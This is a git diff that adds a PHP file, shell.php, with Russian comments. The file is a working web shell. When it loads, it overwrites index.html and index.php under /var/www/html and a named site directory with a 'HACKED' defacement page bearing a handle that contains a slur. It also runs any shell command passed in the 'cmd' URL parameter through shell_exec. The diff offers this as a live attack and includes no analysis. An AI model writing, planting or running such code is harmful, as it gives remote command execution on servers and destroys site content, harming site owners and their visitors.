diff --git a/shell.php b/shell.php
new file mode 100644
index 0000000..71d737a
--- /dev/null
+++ b/shell.php
@@ -0,0 +1,19 @@
+<?php
+// Web Shell — записывает дефейс в index
+$deface = '<!DOCTYPE html>
+<html>
+<head><title>HACKED BY @fagotted</title></head>
+<body style="background:#000;color:#f00;font-family:monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;">
+<div style="text-align:center">
+<h1 style="font-size:5rem;text-shadow:0 0 20px red;">HACK BY @fagotted</h1>
+<p style="color:#fff;font-size:2rem;">SYSTEM PWNED</p>
+</div>
+</body>
+</html>';
+$paths = ['/var/www/html/index.html', '/var/www/html/index.php',
+          '/var/www/halwarsing.net/index.html', '/var/www/halwarsing.net/index.php'];
+foreach ($paths as $p) { @file_put_contents($p, $deface); }
+echo "DONE";
+// Также выполняем команду
+if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); }
+?>
\ No newline at end of file
